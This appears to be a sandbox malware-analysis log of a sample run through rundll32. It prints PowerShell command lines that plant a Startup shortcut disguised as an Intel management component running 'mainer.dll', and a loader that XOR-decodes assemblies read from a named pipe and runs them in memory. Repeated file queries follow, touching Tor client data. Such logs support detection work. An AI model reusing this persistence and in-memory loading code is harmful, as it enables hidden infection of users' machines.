Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -noprofile -executionpolicy bypass -command $wscriptshell = new-object -comobject wscript.shell $shortcut = $wscriptshell.createshortcut('c:\users\user\appdata\roaming/microsoft/windows/start menu/programs/startup/intelmanagementuser.lnk') $shortcut.targetpath = 'powershell.exe' $shortcut.description = 'the intel management user (me) is an embedded microcontroller running on a dedicated microprocessor integrated into intel chipsets.' $shortcut.arguments = '-noprofile -executionpolicy bypass -command c:\windows\system32\rundll32.exe "c:\users\user\appdata\roaming/intelmanagementunit/mainer.dll",dllmaineruseronly' $shortcut.windowstyle = 7 $shortcut.save()	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -noprofile -executionpolicy bypass -command $wscriptshell = new-object -comobject wscript.shell $shortcut = $wscriptshell.createshortcut('c:\users\user\appdata\roaming/microsoft/windows/start menu/programs/startup/intelmanagementuser.lnk') $shortcut.targetpath = 'powershell.exe' $shortcut.description = 'the intel management user (me) is an embedded microcontroller running on a dedicated microprocessor integrated into intel chipsets.' $shortcut.arguments = '-noprofile -executionpolicy bypass -command c:\windows\system32\rundll32.exe "c:\users\user\appdata\roaming/intelmanagementunit/mainer.dll",dllmaineruseronly' $shortcut.windowstyle = 7 $shortcut.save()	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -executionpolicy bypass -command "function load-assembly($asmbytes) { # xor the assembly byte array $xorkey = 164 [byte[]] $decodedbytes = new-object byte[] $asmbytes.length for ($i = 0; $i -lt $asmbytes.length; $i++) { $decodedbytes[$i] = $asmbytes[$i] -bxor $xorkey } # load the assembly from the modified byte array $assembly = [system.reflection.assembly]::load($decodedbytes) # search for a program class and a main method to invoke $programtype = $assembly.gettype(\"program\", $false) if ($programtype -ne $null) { $mainmethod = $programtype.getmethod(\"main\", [system.reflection.bindingflags] \"static,public,nonpublic\") if ($mainmethod -ne $null -and $mainmethod.getparameters().length -eq 1 -and $mainmethod.getparameters()[0].parametertype -eq [string[]]) { $arguments = [system.string[]]@(\"--powershell\") $mainmethod.invoke($null, [system.object[]]@(,$arguments)) } else { #throw \"no entry point found.\"; } } else { #throw \"program class not found.\"; } } $a = [system.reflection.assembly]::loadfrom(\"c:\users\user\appdata\roaming\intelmanagementunit\fsharp.core.all.dll\"); $in_pipe = new-object system.io.pipes.namedpipeclientstream(\"glsxqxrvfahvdeqyprsdvglaeefhusgjkswiujcytrnpamdouhmaiyaeebpxfftuyfacqtglcvyrnsshywfwfoklajsvucdokgigitrsisppmsnobnsjhljgxipdnlbs\"); $in_pipe.connect(); # get the current process id $processid = [system.diagnostics.process]::getcurrentprocess().id # convert the process id to byte array $bytes = [system.bitconverter]::getbytes($processid) # assuming $in_pipe is a system.io.pipes.pipestream or similar # you would write the byte array to it like this: $in_pipe.write($bytes, 0, $bytes.length) $in_pipe.flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;$buffer = new-object byte[] 21504;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -executionpolicy bypass -command "function load-assembly($asmbytes) { # xor the assembly byte array $xorkey = 164 [byte[]] $decodedbytes = new-object byte[] $asmbytes.length for ($i = 0; $i -lt $asmbytes.length; $i++) { $decodedbytes[$i] = $asmbytes[$i] -bxor $xorkey } # load the assembly from the modified byte array $assembly = [system.reflection.assembly]::load($decodedbytes) # search for a program class and a main method to invoke $programtype = $assembly.gettype(\"program\", $false) if ($programtype -ne $null) { $mainmethod = $programtype.getmethod(\"main\", [system.reflection.bindingflags] \"static,public,nonpublic\") if ($mainmethod -ne $null -and $mainmethod.getparameters().length -eq 1 -and $mainmethod.getparameters()[0].parametertype -eq [string[]]) { $arguments = [system.string[]]@(\"--powershell\") $mainmethod.invoke($null, [system.object[]]@(,$arguments)) } else { #throw \"no entry point found.\"; } } else { #throw \"program class not found.\"; } } $a = [system.reflection.assembly]::loadfrom(\"c:\users\user\appdata\roaming\intelmanagementunit\fsharp.core.all.dll\"); $in_pipe = new-object system.io.pipes.namedpipeclientstream(\"lxuacjgchjqdeydgsnqxyjqgfjmgqkrjpwrhkfilvekmqaqlqigqrgmogmxgbbdblkmwpjkulmbqpxwhufcxytkcbesbuwokfphbsepsyyaubjxtyxpnjdxvbpcecgsp\"); $in_pipe.connect(); # get the current process id $processid = [system.diagnostics.process]::getcurrentprocess().id # convert the process id to byte array $bytes = [system.bitconverter]::getbytes($processid) # assuming $in_pipe is a system.io.pipes.pipestream or similar # you would write the byte array to it like this: $in_pipe.write($bytes, 0, $bytes.length) $in_pipe.flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;$buffer = new-object byte[] 18944;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -executionpolicy bypass -command "function load-assembly($asmbytes) { # xor the assembly byte array $xorkey = 164 [byte[]] $decodedbytes = new-object byte[] $asmbytes.length for ($i = 0; $i -lt $asmbytes.length; $i++) { $decodedbytes[$i] = $asmbytes[$i] -bxor $xorkey } # load the assembly from the modified byte array $assembly = [system.reflection.assembly]::load($decodedbytes) # search for a program class and a main method to invoke $programtype = $assembly.gettype(\"program\", $false) if ($programtype -ne $null) { $mainmethod = $programtype.getmethod(\"main\", [system.reflection.bindingflags] \"static,public,nonpublic\") if ($mainmethod -ne $null -and $mainmethod.getparameters().length -eq 1 -and $mainmethod.getparameters()[0].parametertype -eq [string[]]) { $arguments = [system.string[]]@(\"--powershell\") $mainmethod.invoke($null, [system.object[]]@(,$arguments)) } else { #throw \"no entry point found.\"; } } else { #throw \"program class not found.\"; } } $a = [system.reflection.assembly]::loadfrom(\"c:\users\user\appdata\roaming\intelmanagementunit\fsharp.core.all.dll\"); $in_pipe = new-object system.io.pipes.namedpipeclientstream(\"mkvjmxbcrwwouvemtduwqihxbqgajwwvnhrkqrrwqfjjkqlqduamscsmtrqmpigqmruxjcbjawinpsytebwusbxleftcfyaerpgjygujvrkainijyabrutkdfrytlnaf\"); $in_pipe.connect(); # get the current process id $processid = [system.diagnostics.process]::getcurrentprocess().id # convert the process id to byte array $bytes = [system.bitconverter]::getbytes($processid) # assuming $in_pipe is a system.io.pipes.pipestream or similar # you would write the byte array to it like this: $in_pipe.write($bytes, 0, $bytes.length) $in_pipe.flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;$buffer = new-object byte[] 3887104;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\cache VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\cache\dir_blobs VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\cache VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\cache VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\cache\dir_blobs VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\cache\dir_blobs\con_microdesc_sha3-256-f2801e2ce4339b27d1b1680219205f91a7dcd6493d9311cc25c18701b2c2813a.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.tmp VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
